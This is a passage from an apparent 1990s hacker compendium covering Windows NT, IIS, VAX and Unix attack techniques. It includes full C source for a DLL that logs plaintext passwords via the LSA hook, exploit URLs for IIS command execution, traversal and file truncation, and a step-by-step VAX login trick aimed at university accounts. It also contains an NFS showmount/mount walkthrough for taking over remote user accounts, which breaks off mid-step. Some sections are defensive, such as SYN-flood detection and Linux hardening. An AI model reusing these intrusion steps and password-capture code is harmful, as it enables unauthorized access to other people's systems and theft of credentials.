  10168. be some sort of button, which when clicked runs a remote program. CIFS allows a machine to 
  10169. use the IP or hostname provided in the URL as a way of contacting the remote host containing 
  10170. the executable. 
  10171.  
  10172. [13.2.4] IE can launch remote apps
  10173. --From ntsecurity.net
  10174.  
  10175. Microsoft Internet Explorer v3.01 has a serious bug which allows web page writers to use ".LNK" 
  10176. and ".URL" files to run programs on a remote computer. This bug is particularly damaging 
  10177. because it uses NO ActiveX, and works even when Internet Explorer is set to its highest security 
  10178. level. It was tested on Microsoft Internet Explorer Version 3.0 (4.70.1155) running Windows 95. 
  10179. Microsoft says that users running Internet Explorer 3.0 and 3.01 for Windows 95 and Windows 
  10180. NT are affected. It does not affect users of Internet Explorer 3.0 / 3.0a for Windows 3.1 or Internet 
  10181. Explorer for Macintosh 2.1 / 3.0 / 3.0a.
  10182. .URLs work in both Windows 95 and Windows NT 4.0 -- .LNK's only work in Windows 95 -- .URL 
  10183. files present a possibly greater danger because they can be easily created by server side scripts 
  10184. to meet the specific settings of a user's system. We will provide .URL files for execution in the 
  10185. next day or so on this page.
  10186. The "shortcuts" can be set to be minimized during execution which means that users may not 
  10187. even be aware that a program has been started. Microsoft's implementation of shortcuts 
  10188. becomes a serious concern if a webpage can tell Internet Explorer to refresh to an executable. Or 
  10189. worse, client side scripts (Java, JavaScript, or VBScript) can use the Explorer object to transfer a 
  10190. BATCH file to the target machine and then META REFRESH to that BATCH file to execute the 
  10191. rogue command in that file.
  10192. The META REFRESH tag can be used to execute multiple commands in sequence. This demo 
  10193. copies a .BAT file into your Internet Explorer cache and then runs the .BAT file. This .BAT will 
  10194. create a new key in your registry called "HKEY_CURRENT_USER/Software/Cybersnot". It will 
  10195. then open your AUTOEXEC.BAT and CONFIG.SYS in notepad. Finally, it will open REGEDIT so 
  10196. that you can view the key it creates. According to its author, the demo below does not destroy 
  10197. anything and should not cause any problems on your system. HOWEVER by downloading it, you 
  10198. assume complete liablity for what it may do to your system.
  10199.  
  10200. [13.2.5] Password Grabbing Trojans
  10201. From Jeremy Allison
  10202.  
  10203. I am posting this to both the Samba list and the nt-security list as I believe this information will be 
  10204. of interest to both groups. This message is somewhat long and contains code fragments so my 
  10205. apologies if this is of no interest to you (just hit delete :-). Over several years helping to write 
  10206. Samba and dealing with UNIX and NT integration problems one of the most common requests I 
  10207. have seen is some way to get a UNIX box (maybe running Samba) to act as a NT domain 
  10208. controller, or for some way to unify the password databases between UNIX boxes and NT 
  10209. Domains. The first problem is not solveable due to the amount of Microsoft proprietary 
  10210. information they would have to reveal, and MS are not willing to make that available. The second 
  10211. problem however, is more tractable. It seems in NT4.x Microsoft have finally revealed enough 
  10212. information to make synchronisation between UNIX and NT password databases possible.
  10213. Sync'ing from a UNIX box to an NT box was always possible, as the API's to change an NT 
  10214. password have always been available in the old Lanman API set, the difficulty was sync'ing NT 
  10215. password changes to a UNIX box, as the password change API's always seemed to go into a 
  10216. 'black box'to which no external access was available. It had to be possible, however, as NT 
  10217. Domains are perfectly capable of synchronising with Netware LANs. As the password hash 
  10218. mechanisms in NT and Netware are different the Netware password update mechanism had to 
  10219. be able to get at the plaintext password at the update time, before it got hashed and placed in the 
  10220. NT SAM. This mechanism is now available to other libraries on NT 4.x.
  10221. On NT 4.x there is a Key
  10222. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  10223. and one of the defined name/value pairs is "Notification Packages" which is a Multi_string value 
  10224. which as shipped has a value of FPNWCLNT. This is obviously the name of a DLL (as I found it 
  10225. as FPNWCLNT.DLL in %SYSTEMROOT%\SYSTEM32) and logic would dictate that this was the 
  10226. place that the Netware password updates were done. The latest Microsoft SDK held the missing 
  10227. part of the puzzle, the neccessary API's that need to be in such a DLL in order for it to get 
  10228. password change notification. So here below, is a very simple DLL that will receive plaintext 
  10229. password change notifications from the NT LSA code. The sample code just logs all password 
  10230. change notifications to a file called C:\TEMP\PWDCHANGE.OUT, but it illustrates the technique. 
  10231. To test it, comple the C code and .DEF file into a DLL called pwdchange.dll, copy it to 
  10232. %SYSTEMROOT%\SYSTEM32 update the value
  10233. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages
  10234. to read
  10235. FPNWCLNT
  10236. PWDCHANGE
  10237. (NB. The newline between the two is *important*). and then reboot the machine. Tests show that 
  10238. all password changes are now funnelled through this DLL with the following information, 
  10239. Username, Plaintext password, RID (relative domain id). More interesting is that on creation of a 
  10240. new user this DLL is also called, this could be used to do centralized account management by 
  10241. creating a new UNIX user on the fly as a new NT user is created. Such a library would be 
  10242. installed on the Primary domain controller for an NT domain, and will then allow all users 
  10243. passwords to be propagated to non-NT systems as they are changed. The useful thing about this 
  10244. method is that it gets called on *all* forms of password update, from using CTRL-ALT-DEL to 
  10245. update your password, using USERMGR to change a password, or even by using the net user 
  10246. <username> <password> command from the command prompt.
  10247. My own uses for this will be to keep an smbpasswd file up to date for the use by Samba, but a 
  10248. proposed mechanism to keep a UNIX password database in synch would be as follows:
  10249. 1). Keep the notify DLL simple, as it is called in the context of an NT security system - we don't 
  10250. want complexity here. Just write the change information down a named pipe from the DLL.
  10251. 2). Create a service, that creates the read end of the above named pipe. This service is 
  10252. configured with the following information, held in the registry.
  10253. a). The name of the UNIX machine and TCP port number of a process on it to communicate with.
  10254. b). A 'secret' DES key (secret in quotes as anyone with Administrator access could read it) which 
  10255. is used to encrypt the change notifications going across the net. This service would just read 
  10256. password change notifications, encrypt the data and ship it to a UNIX machine where it could be 
  10257. processed. This service can get as complex as we like, with queueing, retry, handshaking etc.
  10258. 3). Create a UNIX daemon, running as root, listening on the TCP port named above for password 
  10259. change data. This daemon also needs access to the 'secret' DES key to decrypt the data 
  10260. (probably in a root owned and read-only be root file).
  10261. This daemon could then be configured to keep whatever databases residing on the UNIX side in 
  10262. sync are required. Suggestions are the UNIX password database, the Samba database, a 
  10263. Kerberos password database, Oracle, Sybase.... be my guest :-).
  10264. If this above daemon is written so that new change notification modules can be plugged in to it 
  10265. (like the PAM spec as an example) it would be flexible enough for all the above. Of course this 
  10266. will make any securiy expert shudder, as compromising the DES key comprmises all new 
  10267. password changes, but that's the price we pay for simplicity (Bruce Schneier(sp?) would 
  10268. definately not approve :-). Anyway enough with the pontificating, here's the code :-). (Code was 
  10269. written with Microsoft Visual C++ 4.x, not tested on other compilers). As always, this code has no 
  10270. warranty, and using it may cause your system to self destruct in 5 seconds .. .etc, etc, etc.... 
  10271. (hope that's enough legal-ease to protect me :-)
  10272. Some comments by: Mark Joseph Edwards
  10273. Although some people think that this exploit only works on a PDC, this is NOT so. It works just 
  10274. fine on NT systems installed just as a server (non-domain controller), and it also works just fine 
  10275. on NT Workstation. This DOESN'T work on a Backup Domain Controller, but it DOES work on a 
  10276. Primary Domain Controller. Also, take note that NT 4.0 and Service Pack 2 (or greater) are 
  10277. required for this to work on any variety of NT installation. If you want more information on this 
  10278. hook, see Microsoft's Knowledge Base article # Q151082, located here. You may also want to 
  10279. take note right here and now that the MSGINA.DLL, which is the default "Graphical Identification 
  10280. and Authorization" provider for the local console logon, could also be overwritten with a trojan 
  10281. .DLL. Once this happens, you're toast. Ouch!
  10282. Here's Jeremy's useful (non-trojan) code:
  10283. -----------------cut here-------pwdchange.c-----------------------------
  10284. #include <windows.h>
  10285. #include <stdio.h>
  10286. #include <stdlib.h>
  10287.  
  10288. struct UNI_STRING {
  10289. USHORT len;
  10290. USHORT maxlen;
  10291. WCHAR *buff;
  10292. };
  10293.  
  10294. static HANDLE fh;
  10295.  
  10296. BOOLEAN __stdcall InitializeChangeNotify ()
  10297. {
  10298. DWORD wrote;
  10299. fh = CreateFile("C:\\temp\\pwdchange.out",
  10300. GENERIC_WRITE,
  10301. FILE_SHARE_READ|FILE_SHARE_WRITE,
  10302. 0,
  10303. CREATE_ALWAYS,
  10304. FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,
  10305. 0);
  10306. WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);
  10307. return TRUE;
  10308. }
  10309.  
  10310. LONG __stdcall PasswordChangeNotify (
  10311. struct UNI_STRING *user,
  10312. ULONG rid,
  10313. struct UNI_STRING *passwd
  10314. )
  10315. {
  10316. DWORD wrote;
  10317. WCHAR wbuf[200];
  10318. char buf[512];
  10319. char buf1[200];
  10320. DWORD len;
  10321.  
  10322. memcpy(wbuf, user->buff, user->len);
  10323. len = user->len/sizeof(WCHAR);
  10324. wbuf[len] = 0;
  10325. wcstombs(buf1, wbuf, 199);
  10326. sprintf(buf, "User = %s : ", buf1);
  10327. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  10328.  
  10329. memcpy(wbuf, passwd->buff, passwd->len);
  10330. len = passwd->len/sizeof(WCHAR);
  10331. wbuf[len] = 0;
  10332. wcstombs(buf1, wbuf, 199);
  10333. sprintf(buf, "Password = %s : ", buf1);
  10334. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  10335.  
  10336. sprintf(buf, "RID = %x\n", rid);
  10337. WriteFile(fh, buf, strlen(buf), &wrote, 0);
  10338.  
  10339. return 0L;
  10340. }
  10341. -----------------------end of pwdchange.c------------------------------------
  10342. ---------cut here-pwdchange.def----------------------------------------------
  10343. EXPORTS
  10344.  
  10345. InitializeChangeNotify=_InitializeChangeNotify@0
  10346. PasswordChangeNotify=_PasswordChangeNotify@12
  10347.  
  10348. --------------------end pwdchange.def-----------------------------------------
  10349.  
  10350. [13.2.6] Reverting an ISAPI Script
  10351.  
  10352. ISAPI scripts run under the IUSR_MACHINENAME account under IIS, and thus, inherit the 
  10353. security permissions of this account. However, if the ISAPI program contains a simple call 
  10354. labelled RevertToSelf(), you have a big hole. Once that program line is executed, the ISAPI 
  10355. program reverts it's authority to the all-powerful SYSTEM account, at which point the program 
  10356. can do just about anything, including successfully execute system() calls.
  10357. Try it yourself - this DLL runs on Intel based IIS machines. Drop it in your scripts directory, and 
  10358. call it without any parameters using your Web browser. (i.e. 
  10359. http://www.yoursite.com/scripts/revert.dll) It creates a directory called C:\IIS-REVERT-TEST with 
  10360. no trouble at all :( I tested this on an NTFS partition with no normal user permissions on the root 
  10361. directory.
  10362. Additionally, Laxmikant Gunda was kind enough to report to us that there is yet another way to 
  10363. perform this same exploit. Laxmikant offers the following:
  10364. "ISAPI DLL runs under the security context of the IUSR_MACHINENAME account under IIS, and 
  10365. thus inherit the security permissions of that account. However, if the ISAPI DLL can create a 
  10366. process using a call to CreateProcess( ). The process created inherits the security context of the 
  10367. powerful LocalSystem account rather than IUSR_MACHINENAME, thus creating a hole. Thus, 
  10368. any system process can be fired by the ISAPI DLL using this technique.
  10369. This can be tried using a generic ISAPI DLL & inserting code for CreateProcess( ) with a process 
  10370. name present in the system.
  10371. This behaviour is documented in MSDN library on Impersonation : "When a thread is 
  10372. impersonating a user, most actions by the thread are done in the security context of the thread's 
  10373. impersonation token rather than the primary token of the process that owns the thread. For 
  10374. example, an individual thread of a server process can impersonate a client to verify that the client 
  10375. is allowed to access a securable object. However, some actions are always done using the 
  10376. security context of the process. For example, if an impersonating thread calls the CreateProcess 
  10377. function, the new process inherits the primary token of the process rather than the impersonation 
  10378. token of the calling thread. Similarly, the system always uses the primary token of the process to 
  10379. validate actions requiring the SE_TCB_NAME privilege."
  10380.  
  10381. [13.2.7] Rollback.exe
  10382.  
  10383. The Windows NT 4.0 Server and Workstation compact discs include a utility called Rollback.exe. 
  10384. Rollback.exe was designed to help computer manufacturers preinstall Windows NT 4.0, and allow 
  10385. end-users to do the final configuration according to the desired role of the computer. Running this 
  10386. utility will remove all registry settings on a system and bring it back to the end of the Character 
  10387. Based Setup portion of the Setup program, effectively undoing everything configured by the GUI 
  10388. portion of Windows NT Setup.
  10389. WARNING: Do not run this file on a production system! There is no way to recover information 
  10390. erased by running this utility, so anything stored in the registry will be lost. This includes user 
  10391. account information, protocol bindings, application settings, user preferences, etc.
  10392. MORE INFORMATION
  10393. If you run Rollback.exe on a production system there is no warning that Rollback.exe removes all 
  10394. system registry entries. Therfore, after you run Rollback.exe there is no system to rescue or to 
  10395. restore as the registry and the Setup.log file no longer exist.
  10396. The only fix to this problem is to restore the entire system from a current tape back up. 
  10397. Emergency Repair Disk does not restore the system as it requires the Setup.log and specific 
  10398. registry components to be present.
  10399. Rollback.exe is on the Windows NT compact discs in the following directory:
  10400. support\deptools\<system>\
  10401.  
  10402. [13.2.8] Replacing System .dll's
  10403.  
  10404. System DLLs are called by applications and the registry, and can be replaced with 
  10405. trojaned/virused versions. %systemroot% and %systemroot%\system32 directories have default 
  10406. permissions of 'Everyone' (includes guest) set to 'Change'. This allows DLLs not in use to be 
  10407. replaced. DLLs in use are locked.
  10408. DLLs are run by programs at various levels during normal operation. A DLL for example can be 
  10409. run with SYSTEM privileges by a service while a user with normal privileges is logged on.
  10410. This is also true for the MSGINA.DLL, which is the default "Graphical Identification and 
  10411. Authorization" provider for the local console logon, which if replaced, could seriously compromise 
  10412. your entire enterprise.
  10413.  
  10414. [13.2.9] Renaming Executables
  10415.  
  10416. Executables renamed as .xxx files run as executable from command line. Executables can be 
  10417. renamed with any extension and run from the command prompt or batch file. Subverts 
  10418. filtering/download control by filename extension.
  10419. Also executables without a filename extension can be started from the command prompt or batch 
  10420. file, as NT will try to run the file as .COM, .EXE, .CMD, or .BAT in that order.
  10421. This leaves room for a potential trojan to be introduced into the system.
  10422.  
  10423. [13.3.0] Viewing ASP Scripts
  10424.  
  10425. DESCRIPTION
  10426. A serious security hole was found in Microsoft's Active Server Pages (ASP) by Juan T. Llibre 
  10427. <j.llibre@codetel.net.do>. This hole allows Web clients to download unprocessed ASP files 
  10428. potentially exposing user ids and passwords. ASP files are the common file type used by 
  10429. Microsoft's IIS and Active Server to perform server-side processing. Microsoft confirms that .HTX 
  10430. and .IDC files are also vulnerable.
  10431. HOW IT WORKS
  10432. To download an unprocessed ASP file, simply append a period to the asp URL. For example: 
  10433. http://www.domain1.com/default.asp becomes http://www.domain1.com/default.asp. With the 
  10434. period appendage, Internet Information Server (IIS) will send the unprocessed ASP file to the 
  10435. Web client, wherein the source to the file can be examined at will. If the source includes any 
  10436. security parameter designed to allow access to other system processes, such as an SQL 
  10437. database, they will be revealed.
  10438.  
  10439. [13.3.1] .BAT and .CMD Attacks
  10440.  
  10441. Sending a command line to the server, such as 
  10442. "http://www.domain.com/scripts/expoit.bat?&commandA+?&commandB" to the server, and then 
  10443. clicking the Stop Button on the browser will cause the server to execute DOS commands on the 
  10444. server's OS.
  10445. Adding a '+?&time' or '+?&date' to the end of the command, will cause the server to pause for 
  10446. input. Clicking the Stop Button on the browser will interrupt the server making a log entry of the 
  10447. command string executed.
  10448.  
  10449. [13.3.2] IIS /..\.. Problem
  10450.  
  10451. A URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of 
  10452. the webserver content root directory. A URL such as 
  10453. 'http://www.domain.com/scripts..\..\scriptname' allows you to execute a target script.
  10454. By default user 'Guest' or 'IUSR_MACHINENAME' has read access to all files on an NT disk. 
  10455. These files can be browsed, executed or downloaded by wandering guests.
  10456.  
  10457. [13.3.3] Truncated Files
  10458.  
  10459. A URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file called 
  10460. "target.bat". If the file "target.bat" already exists, the file will be truncated, erasing any previous 
  10461. contents.
  10462.  
  10463. [13.3.4] SNA Holes
  10464. --From ntsecurity.net
  10465.  
  10466. When you attach to shared folders on an AS/400 using SNA Server, where the security level is 
  10467. set to 30 or higher, and security has been set on the folders to allow limited access, after the first 
  10468. user connects to a shared folder, all subsequent users acquire the first user's access permissions 
  10469. to shared folders.
  10470. This problem occurs when SNA Server is sharing a single Local APPC LU when communicating 
  10471. to an AS/400. The security for shared folders on the AS/400 (when security is set to level 30 or 
  10472. higher), is tied to the controller. In this case, the AS/400 views the controller as its Remote LU, or 
  10473. SNA Server's Local APPC LU.
  10474. The transaction program which supports the shared folders function on the AS/400 identifies a 
  10475. user based on the SNA Server Local APPC LU name being used. Therefore, if multiple SNA 
  10476. Server users are sharing the same Local APPC LU for use with shared folders, you are able to 
  10477. view each other's AS/400 folders. Due to the design of the AS/400 shared folders feature, the first 
  10478. shared folder's user to connect over a Local APPC LU determines the AS/400 security rights for 
  10479. the remaining users who connect over the same Local APPC LU.
  10480. For Microsoft' information on this, see their Knowledge Base article: 
  10481. http://www.microsoft.com/kb/articles/q138/0/01.htm
  10482. DEFENSE
  10483. Create a separate LU (Local to the SNA Server) for each user and pair each LU with the 
  10484. AS/400's LU. Then each user accesses a separate controller and has appropriate access to 
  10485. shared folders. In addition, each shared folder's client application must be configured with a 
  10486. unique Local APPC LU alias. If you prefer to leave this field empty, the SNA Server administrator 
  10487. can assign a default Local APPC LU alias for each user using SNA Admin (2.x) or SNA Server 
  10488. Manager (3.x) configured on the user record.
  10489.  
  10490. [13.3.5] SYN Flooding
  10491.  
  10492. On your computer running the TCP/IP protocol and connected to the Internet, some or all network 
  10493. services are rendered unavailable and error messages such as the following appear on the 
  10494. network client screen:
  10495. The connection has been reset by the remote host.
  10496. This symptom of all network services being rendered unavailable may also occur on a computer 
  10497. running an operating system other than Windows NT, for example, Unix.
  10498. Your computer has become the target of a malicious attack known as TCP/IP "SYN Flooding" or 
  10499. "SYN Attacks."
  10500. "Computer hackers" can target an entire machine, or a specific TCP service such as web 
  10501. services. The attack is focused on the TCP protocol used by all computers on the Internet, and is 
  10502. not specific to the Windows NT operating system.
  10503. How SYN Flooding Works
  10504. SYN Flooding works as follows: (see also CERT(sm) Advisory CA-96.21 at
  10505. ftp://info.cert.org/pub/cert_advisories)
  10506. - A TCP connection request (SYN) is sent to the target computer. The source IP address in the 
  10507. packet is "spoofed," or replaced with an address that is not in use on the Internet, or that belongs 
  10508. to another computer. An attacker will send many of these TCP SYNs to tie up as many resources 
  10509. as possible on the target computer.
  10510. - Upon receiving the connection request, the target computer allocates resources to handle and 
  10511. track the new connection, then responds with a "SYN-ACK". In this case, the response is sent to 
  10512. the "spoofed" non- existent IP address.
  10513. - No response is received to the SYN-ACK. A default-configured Windows NT 3.5x or 4.0 
  10514. computer will retransmit the SYN-ACK 5 times, doubling the time-out value after each 
  10515. retransmission. The initial time-out value is three seconds, so retries are attempted at 3, 6, 12, 
  10516. 24, and 48 seconds. After the last retransmission, 96 seconds are allowed to pass before the 
  10517. computer gives up on receiving a response, and deallocates the resources that were set aside 
  10518. earlier for the connection. The total elapsed time that resources are in use is 189 seconds.
  10519. If you suspect that your computer is the target of a SYN attack, you can type the following 
  10520. command at a command prompt to view connections in the "SYN_RECEIVED" state:
  10521. netstat -n -p tcp
  10522. If a large number of connections are in the SYN_RECEIVED state, it is possible that the system 
  10523. is under attack. A network analyzer can be used to track the problem down further, and it may be 
  10524. necessary to contact your Internet Service Provider for assistance in attempting to trace the 
  10525. source.
  10526. The effect of tying up connection resources varies, depending upon the TCP/IP stack and 
  10527. applications listening on the TCP port. For most stacks, there is a limit on the number of 
  10528. connections that can be in the half-open (SYN_RECEIVED) state. Once the limit is reached for a 
  10529. given TCP port, the target computer responds with a reset to all further connection requests until 
  10530. resources are freed.
  10531.  
  10532. [13.3.6] Land Attack
  10533.  
  10534. Land Attack sends SYN packets with the same source and destination IP addresses and the 
  10535. same source and destination ports to a host computer. This makes it appear as if the host 
  10536. computer sent the packet to itself. Windows NT operates more slowly while the host computer 
  10537. tries to respond to itself.
  10538.  
  10539. [13.3.7] Teardrop
  10540.  
  10541. Two specially fragmented IP datagrams are sent to the victim. The first is the 0 offset fragment 
  10542. with a payload of size N, with the MF bit on (data content is irrelevant). The second is the last 
  10543. fragment (MF == 0) with a positive offset < N and with a payload of < N. The fragmented 
  10544. datagrams will try to realign themselves, however, the payload of the current fragment does NOT 
  10545. contain enough data to cover the realigning. This will cause a reboot or a halt, depending on how 
  10546. much physical memory you've got. 
  10547.  
  10548. [13.3.8] Pentium Bug
  10549.  
  10550. When an Intel processor receives a specific invalid instruction, your computer may stop 
  10551. responding (hang). Your computer must be turned off and restarted to return to normal operation.
  10552. If you execute F0 0F C7 C8 on a P5 it will lock the machine up.
  10553.  
  10554. [14.0.0] VAX/VMS Makes a comeback (expired user exploit)
  10555.  
  10556. This is an explenation of a vax exploit that discover.  The exploit 
  10557. functions in that when a username has expired it doesnt delete the username
  10558. it just puts a new password on the username named temporary password.  Until
  10559. the user can input a new password to reactivate his account.  I will explain
  10560. this exploit step by step but this text is intended for a more advanced reader. Remember 
  10561. VAX/VMS is a very secure area to work in you can get
  10562. caught if you dont know what you are doing.  Well in this text i will give 
  10563. you a server that has this exploit so you can verify it yourself.
  10564. Another thing is that you need to know about how to use the telnet program
  10565. if you dont know get a guide and start learning before using this.
  10566.  
  10567. Step by Step explanation: (if you dont own an account on the VMS/VAX)
  10568.  
  10569. [14.0.1] Step 1:
  10570.  
  10571.     Finger the users of the server if you have a finger utility, but you need one that gives you 
  10572. the last date login.
  10573.  
  10574. [14.0.2] Step 2:
  10575.     Get the usernames that have an old date like a year ago, basically, something that looks 
  10576. expired.
  10577.  
  10578. [14.0.3] Step 3:
  10579.     Now goto to the login screen of the server type in the username.
  10580. When it promts you for a password you will type the word temp.  Now for this
  10581. moment you will be entering the vax system and it will prompt you to type a 
  10582. new pssword because the password has expired.  As you can see you now owned
  10583. a user priviledge account.  
  10584.  
  10585. [14.0.4] Note: 
  10586.  
  10587. The easiest way to find systems that are exploitable is to check universities. As we know most 
  10588. universities issue students usernames that are the first letter of their first name and then their 
  10589. whole last name. Example: If your name is John Doe your username would be jdoe. So the best 
  10590. thing you can do is finger universities and try to find as pointed out earlier user names that have 
  10591. the last login date of a year or so ago.
  10592.  
  10593. -Props to Hellmaster for the technique.
  10594.  
  10595. [15.0.0] Linux security 101 
  10596.  
  10597.     So you just got the latest linux distro installed? What now? How about a bit of security.  
  10598. You need to immediately secure your system after installation if you want your 0-day sploits to be 
  10599. safe (especially if you hang out on irc).  Here I will try and show ways to prevent remote and local 
  10600. attacks.  These techniques should work on redhat and debian, but it is primarily made for 
  10601. slackware, the best distro out there.
  10602.  
  10603. [15.0.1] Step 1: pico /etc/inetd.conf .  This file tells inetd what daemons to open up each time it is 
  10604. run.  I generally only keep ftpd available to localhost and telnetd open to all.  Close up any 
  10605. services that you feel are not imperative to keep you running by sticking a # in front of the service 
  10606. name.   
  10607.  
  10608. [15.0.2] Step 2: Permissions.  Make sure that your root directory is only readable to root to 
  10609. prevent users from snooping.  Type: chmod 700 /root .  Also, make sure that only the correct 
  10610. owner can snoop through home directories. cd /home ; chmod 700 * .  That should do it.  Next, 
  10611. chmod 700 /mnt ; chmod 700 /floppy ; chmod 700 /cdrom .  Then you should have all the 
  10612. permissions setup correctly.  
  10613.  
  10614. *Side note: You may want to only use X-windows as root (thats what I do), as X-win binarys are a 
  10615. good way to exploit a system.  So maybe do a chmod 700 /usr/X11/bin ; chmod 700 
  10616. /usr/X11R6/bin  . 
  10617.  
  10618. [15.0.3] Step 3: RPC services.  Try typing rpcinfo -p localhost and see what you get.  Remember 
  10619. the results and go into /etc/rc.d .  Look through those files for the various rpc servers.  Comment 
  10620. the rpc services as needed in those files.  Almost every remote procedure call is exploitable.  Its 
  10621. better just not to run em.
  10622.  
  10623. [15.0.4] Step 4: Install ttysnoop. ttysnoop allows you to see what users are doing when they login 
  10624. to your box.  Heres how to install: 
  10625.  
  10626. Type pico /etc/inetd.conf and stick a comment (#) in front of the line that reads:
  10627.  
  10628.  telnet stream  tcp     nowait  root /usr/sbin/tcpd  in.telnetd
  10629.  
  10630. Then look 3 lines below. You will see:
  10631.  
  10632. #telnet stream  tcp     nowait  root    /usr/sbin/tcpd /usr/sbin/in.telnetsnoopd
  10633.  
  10634. Uncomment that line, and save the file.  Then restart inetd by typeing:
  10635. ps -aux |grep inetd
  10636. (get the pid #)
  10637. kill -9 (pid #)
  10638. inetd
  10639.  
  10640. Then it should be restarted and you can try it out by telneting to localhost and logging in , and 
  10641. then in another window type w to find out what tty you just logged into and then type: ttysnoop 
  10642. ttyp# .  You should now be able to see everything that the user types in.  Very effective.
  10643.  
  10644. [15.0.5] Step 5: Watching them.  You should always be aware of who is on your system at any 
  10645. given time.  A good way to do this is to, if you are in X-windows, type xconsole -font 5x8 -file 
  10646. /var/log/messages -geometry 550x80 . This will open a small xconsole window that will tel you 
  10647. who is connecting to you.  Keep this in a bottom corner.  The next step is to get tcpdump.  Find it 
  10648. at sunsite.  type tcpdump in a smaill xterm and keep that in another corner.  What that will do is 
  10649. show you every single little connection to you.  Such as connections from every port. 
  10650.  
  10651. [15.0.6] Step 6: Misc security programs.  
  10652.     
  10653.                -SSH : Secure shell- This program is a replacement to telnet, so
  10654.                that your passwords cannot be sniffed.  It uses encryption
  10655.                to connect to every server that you telnet to.  More and
  10656.                more servers are using this everday because of the growing
  10657.                threat of hackers.  Of course, the remote server that you
  10658.                are telneting to has to run SSH as well for it to work =)
  10659.  
  10660.         -Lightbar : Login Security- This program is basically a
  10661.                     replacement to /bin/login.  It is EXTREMELY
  10662.                     customizable and provides that extra edge of security
  10663.                     to your login sequence.  
  10664.  
  10665.         -COPS : Computer Oracle and Password System- This nice little
  10666.                 program automatically scans your system for
  10667.                 misconfigurations and warns you of the weaknesses.  Its an 
  10668.                 an excellent way to systematically check for file
  10669.                 permission mistakes.   
  10670.  
  10671. By following the above steps, you have stopped about 99.8% of all hackers breaking into your 
  10672. system (Just hope you dont meet up with some russian hacker =) You will be invincible on IRC.  
  10673. Considering in all my time with Linux, Ive never been hacked.  Peace out.
  10674.  
  10675.            -Phreak-0 (Phreak_0@hotmail.com)
  10676.  
  10677. Thanks to Phreak-0 for that portion.
  10678.  
  10679. [16.0.0] Unix Techniques. New and Old.
  10680.  
  10681. [16.0.1] ShowMount Technique
  10682.  
  10683. This is an old school technique that most hackers donÆt know. The two commands you need to 
  10684. learn are showmount and mount. 
  10685.  
  10686. They are used in the following way:
  10687.  
  10688. Intercore:~#mount server.com:/remotefolder /localfolder
  10689. After you issue the command then do cd /localfolder and you will be on the remote computers 
  10690. shared folder.  The remotefolder is the folder of the remote system that you want to mount. The 
  10691. localfolder is where you want the remote folder to appear to be on your system. So if you do 
  10692. mount server:/remote /mnt then when you are on your local system you can do cd /mnt and 
  10693. browse around inside that folder. The contents of that folder will be the contents of the remote 
  10694. folder that you shared. 
  10695.  
  10696. [16.0.2] DEFINITIONS:
  10697. showmount lists all the clients that have remotely mounted a filesystem from host.  This 
  10698. information is maintained by the mountd server on host, and is saved  across  crashes  in the  file  
  10699. /etc/rmtab. 
  10700. -e    Print the list of shared file systems.
  10701.  
  10702. mount attaches a file system to the file system hierarchy at the  mount_point,  which is the 
  10703. pathname of a directory.  If mount_point has any contents prior to the  mount  operation, these 
  10704. are hidden until the file system is unmounted.
  10705.  
  10706. umount unmounts a currently mounted file system,  which  may be specified either as a 
  10707. mount_point or as special, the device on which the file system resides.
  10708.  
  10709. rhosts The files specify remote hosts and users that are considered trusted.  Trusted users are 
  10710. allowed to access the local system without supplying a password. The remote authentication  
  10711. procedure  determines  whether  a user  from  a  remote  host  should be allowed to access the 
  10712. local system with the identity of a local user.   This  procedure  first  checks  the  /etc/hosts.equiv  
  10713. file  and then checks the .rhosts file in the home directory of  the  local user  who  is requesting 
  10714. access.  Entries in these files can be of two forms.  Positive entries allow access, while negative  
  10715. entries deny access.  The authentication succeeds when
  10716. a matching positive entry is  found.
  10717. hostname [username]
  10718. The special character `+' can be used  in  place  of  either hostname  or  username to match any 
  10719. host or user.  For example, the entry
  10720. + + 
  10721. gives any user at any host access to the shell without supplying a password.
  10722.  
  10723. rpcinfo makes an RPC call to an RPC server and reports  what it finds.  In the first synopsis, 
  10724. rpcinfo lists all the registered  RPC services  with  rpcbind  on host.
  10725. rpcinfo -p [host]
  10726.  
  10727. A showmount on ninja.com would look like this: 
  10728. InterCore:/home/chameleon/ $/usr/sbin/showmount -e www.ninja.com
  10729. export list for www.ninja.com:
  10730. /home      Everyone
  10731. /usr    elite.ninja.com
  10732. /var    samuri.ninja.com
  10733. InterCore:/home/chameleon/ $
  10734.  
  10735. The first section is the folder name. The section part is who has access. If it says Everyone then 
  10736. anyone at all can access that folder. If it has an address like elite.ninja.com only people from 
  10737. elite.ninja.com can access that folder. If there is a users folder shared or a home folder etcà that 
  10738. is shared to everyone then you can gain a user account to the system. You would do the 
  10739. following. Say we use ninja.com as an example. We earlier saw that we have access to /home we 
  10740. would then mount /home and goto a users directory and create us an rlogin for the system. The 
  10741. attack would be as follows.
  10742.  
  10743. InterCore:/home/chameleon$ /usr/sbin/showmount -e www.ninja.com
  10744. export list for www.ninja.com:
  10745. /home      Everyone
  10746. /usr    elite.ninja.com
  10747. /var    samuri.ninja.com
  10748.  
  10749. Now, you must su to root to have access to mount things to various folders on the system. 
  10750.  
  10751. InterCore:/home/chameleon/ $su
  10752. Password:
  10753. InterCore:/home/chameleon#
  10754. InterCore:/home/chameleon# mount www.ninja.com:/home /mnt
  10755. InterCore:# cd /mnt
  10756. InterCore:/mnt/ # ls
  10757. jmwaller  paget     pamcourt  papabear  parsetru  pathenry  patsyk    paulavic
  10758. pa1230    paintere  pamdon    papas     partsman  patio     patti778  pauld
  10759. pac       paintroc  pamelaj   pappabea  pataiki   patj      pattic    pauline
  10760. packers   paiyn     pamelat   papryor   pataul    patjohn   pattie    paulj
  10761. paddock   pal       pamh      paris1    patbrady  patmon    pattil    paull1
  10762. padgettr  paladin   pamomary  parkerh   patc      patmraz   pattygae  paulpj
  10763.  
  10764. What you are looking at here is the contents of www.ninja.com's home dir.
  10765. Now lets add one of their users to our passfile, so we can become them.
  10766.  
  10767. InterCore:# pico /etc/passwd
  10768.  
  10769. add the lines:
  10770.  
